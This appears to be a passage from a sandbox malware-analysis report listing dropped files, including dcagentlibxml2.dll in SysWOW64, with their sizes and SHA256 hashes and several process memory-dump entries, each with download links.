                                                • SHA256 1260992c0d6f755f41f02710a5ca7ee9300edb669357a96c5f8a7a9a77f6b071
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcagentlibxml2.dll
                                                • Path C:\Windows\SysWOW64\dcagentlibxml2.dll
                                                • Size 2.0MB
                                                • SHA256 6667e8871a07bdc398488565e2afbe72cf080c8c8f0016d572e2f01522b14ed6
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                memory/5008-21-0x0000000003FB0000-0x000000000401C000-memory.dmp
                                                Download

                                                memory/5008-20-0x0000000003FB0000-0x000000000401C000-memory.dmp
                                                Download

                                                memory/5008-17-0x0000000003FB0000-0x000000000401C000-memory.dmp
                                                Download

                                                memory/5008-18-0x0000000003FB0000-0x000000000401C000-memory.dmp
                                                Download

                                                memory/5008-22-0x0000000003FB0000-0x000000000401C000-memory.dmp
                                                Download